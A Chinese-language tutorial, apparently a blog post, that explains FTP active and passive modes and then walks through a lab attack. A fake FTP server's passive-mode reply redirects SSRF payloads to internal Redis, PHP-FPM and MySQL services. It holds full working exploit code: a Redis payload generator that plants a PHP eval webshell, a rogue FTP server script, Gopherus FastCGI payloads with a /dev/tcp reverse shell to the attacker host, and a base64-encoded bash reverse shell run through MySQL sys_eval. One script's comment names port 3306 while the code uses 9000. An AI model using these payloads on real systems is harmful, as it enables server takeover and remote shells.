FTP协议
FTP(File Transfer Protocol,文件传输协议) 是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP 服务器用来存储文件,用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。在开发网站的时候,通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外,由于 FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。
默认情况下 FTP 协议使用 TCP 端口中的 20 和 21 这两个端口,其中 20 用于传输数据,21 用于传输控制信息。但是,是否使用 20 作为传输数据的端口与 FTP 使用的传输模式有关,如果采用主动模式,那么数据传输端口就是 20;如果采用被动模式,则具体最终使用哪个端口要服务器端和客户端协商决定。
主动模式与被动模式
FTP会话包含了两个通道,控制通道和数据传输通道,FTP的工作有两种模式,一种是主动模式,一种是被动模式,以FTP Server为参照:主动模式,服务器主动连接客户端传输;被动模式,等待客户端的连接。
主动模式(Port)
FTP客户端连接到FTP服务器的21号端口,发送用户名和密码,客户端随机开放一个高位端口(1024以上),发送PORT命令到FTP服务器,告知服务器客户端采用主动模式并开放端口,FTP服务器收到PORT主动模式命令和端口后,通过服务器的20号端口和客户端开放的端口连接,发送数据,原理如图所示。
Untitled Diagram.drawio
被动模式(Passive)
FTP客户端连接到FTP服务器所监听的21端口,发送用户名和密码,发送PASV命令到FTP服务器,服务器载本地随机开放一个端口(1024以上),然后把开放的端口告知客户端,而后客户端再连接到服务器开放的端口进行数据传输,原理如图所示。(注:PASV是Passive的缩写,被动模式)
Untitled Diagram.drawio (2)
这里的主动和被动是相对与FTP Server端而判断的。
无论是主动还是被动模式,首先的控制通道都是先建立起来,只是在数据传输模式上的区别。
注:绝大部分互联网应用都是被动模式 因为大部分客户端都是在路由器后面,没有独立的公网IP地址,服务器想要主动连接客户端,难度太大,在现在真实的互联网环境里面几乎是不可能完成的任务。
可见,在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定的,而且还有一点是很多地方没有提到的,实际上除了端口,服务器的地址也是可以被指定的。由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:
代码语言:javascript复制227 Entering Passive Mode(192,168,9,2,4,8)
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8)
代表让客户端到连接 192.168.9.2 的 4 * 256 8 = 1032 端口。
这样,假如我们指定 (127,0,0,1,0,9000)
,那么便可以将地址和端口指到 127.0.0.1:9000,也就是本地的 9000 端口。同时由于 FTP 的特性,其会把传输的数据原封不动的发给本地的 9000 端口,不会有任何的多余内容。如果我们将传输的数据换为特定的 Payload 数据,那我们便可以攻击内网特定端口上的应用了。在这整个过程中,FTP 只起到了一个重定向 Payload 的内容。
实验环境
攻击机:Kali —— 192.168.123.241 受害者:Ubuntu —— 192.168.123.189(运行服务“Redis、MySQL、PHP-FPM)
下面是一个含有漏洞的PHP脚本
代码语言:javascript复制<?php
file_put_contents($_GET['file'], $_GET['data']);
?>
file_put_contents () 函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
file_put_contents
函数使用前需要将php.ini
的allow_url_fopen
设置为ON。
这个点是存在WebShell写入漏洞的,但是在不能写文件的环境下该如何利用呢?那么可以利用SSRF进行攻击。
但 file_get_contents
和 file_put_contents
不支持gopher和dict协议。
那么我们如何才能实现 RCE 呢?那么这个时候我们便可以从 FTP 的被动模式入手,通过 SSRF 攻击内网应用。
SSRF利用FTP协议攻击Redis
假设内网中存在 Redis 并且可以未授权访问的话,我们也可以直接攻击 Redis,实现写入 Webshell、SSH 秘钥、计划任务等。
首先编写脚本生成攻击 Redis 的 Payload(也可以使用Gopherus)生成:
代码语言:javascript复制#!/usr/bin/env python
# coding: utf-8
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="nn<?php eval($_POST["whoami"]);?>nn" # 一句话木马
filename="shell.php"
path="/var/www/html"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol ip ":" port "/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd ="*" str(len(redis_arr))
for x in redis_arr:
cmd =CRLF "$" str(len((x.replace("${IFS}"," ")))) CRLF x.replace("${IFS}"," ")
cmd =CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload = urllib.quote(redis_format(x))
print payload
得到payload只选取_
的部分
*1
$8
flushall
*3
$3
set
$1
1
$35
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
然后还是在攻击机上运行 evil_ftp.py 启动一个伪 FTP 服务:
代码语言:javascript复制# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服务绑定23号端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcomen')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.n')
#Size /
conn.send(b'550 Could not get the file size.n')
#EPSV (1)
conn.send(b'150 okn')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,6379)n') #STOR / (2)
# "127,0,0,1"Redis服务为受害者本地,"6379"为为Redis服务的端口号
conn.send(b'150 Permission denied.n')
#QUIT
conn.send(b'221 Goodbye.n')
conn.close()
运行服务:
最后直接构造请求发送 Payload(无需进行二次URL编码):
代码语言:javascript复制http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=*1
$8
flushall
*3
$3
set
$1
1
$35
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
如下图所示,成功写入 Webshell:
SSRF利用FTP协议攻击PHP-FPM
假设此时发现内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。
首先使用 Gopherus 生成 Payload:
得到的 Payload 只要 _
后面的部分:
SERVER_SOFTWAREgo / fcgiclient REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH107REQUEST_METHODPOST KPHP_VALUEallow_url_include = On
disable_functions =
auto_prepend_file = php://inputSCRIPT_FILENAME/usr/share/nginx/html/index.php
DOCUMENT_ROOT/ k & /dev/tcp/192.168.123.241/2333 0>&1"');die('-----Made-by-SpyD3r-----
');?>
然后还是在攻击机上运行 evil_ftp.py 启动一个伪 FTP 服务:
代码语言:javascript复制# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服务绑定23号端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcomen')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.n')
#Size /
conn.send(b'550 Could not get the file size.n')
#EPSV (1)
conn.send(b'150 okn')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)n') #STOR / (2)
# "127,0,0,1"PHP-FPM服务为受害者本地,"9000"为为PHP-FPM服务的端口号
conn.send(b'150 Permission denied.n')
#QUIT
conn.send(b'221 Goodbye.n')
conn.close()
运行服务:
开启 nc 监听,等待反弹shell:
最后构造请求发送 Payload 就行了:
代码语言:javascript复制http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=
SERVER_SOFTWAREgo / fcgiclient REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH107REQUEST_METHODPOST KPHP_VALUEallow_url_include = On
disable_functions =
auto_prepend_file = php://inputSCRIPT_FILENAME/usr/share/nginx/html/index.php
DOCUMENT_ROOT/ k & /dev/tcp/192.168.123.241/2333 0>&1"');die('-----Made-by-SpyD3r-----
');?>
如上图所示,成功反弹 Shell。
SSRF利用FTP协议攻击MySQL
有关如何利用MySQL未授权抓取数据包在上一节已经详细讲解过了,这里就不再讲解。
这里就直接使用上一节已经写入的动态链接库和用户定义函数直接执行系统命令。
首先使用Gopherus生成payload:
得到的 Payload 只要 _
后面的部分:
� ��� ! admin mysql_native_password f_osLinux_client_namelibmysql_pid27255_client_version5.7.22 _platformx86_64program_namemysqlg select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')
然后还是在攻击机上运行 evil_ftp.py 启动一个伪 FTP 服务:
代码语言:javascript复制# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服务绑定23号端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcomen')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.n')
#Size /
conn.send(b'550 Could not get the file size.n')
#EPSV (1)
conn.send(b'150 okn')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)n') #STOR / (2)
# "127,0,0,1"MySQL服务为受害者本地,"3306"为为MySQL服务的端口号
conn.send(b'150 Permission denied.n')
#QUIT
conn.send(b'221 Goodbye.n')
conn.close()
运行服务:
开启 nc 监听,等待反弹shell:
最后构造请求发送 Payload 就行了:
代码语言:javascript复制http://hacktop.com/ssrf_2.php?file=ftp://192.168.123.241:23/123&data=� ��� ! admin mysql_native_password f_osLinux_client_namelibmysql_pid27255_client_version5.7.22 _platformx86_64program_namemysqlg select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')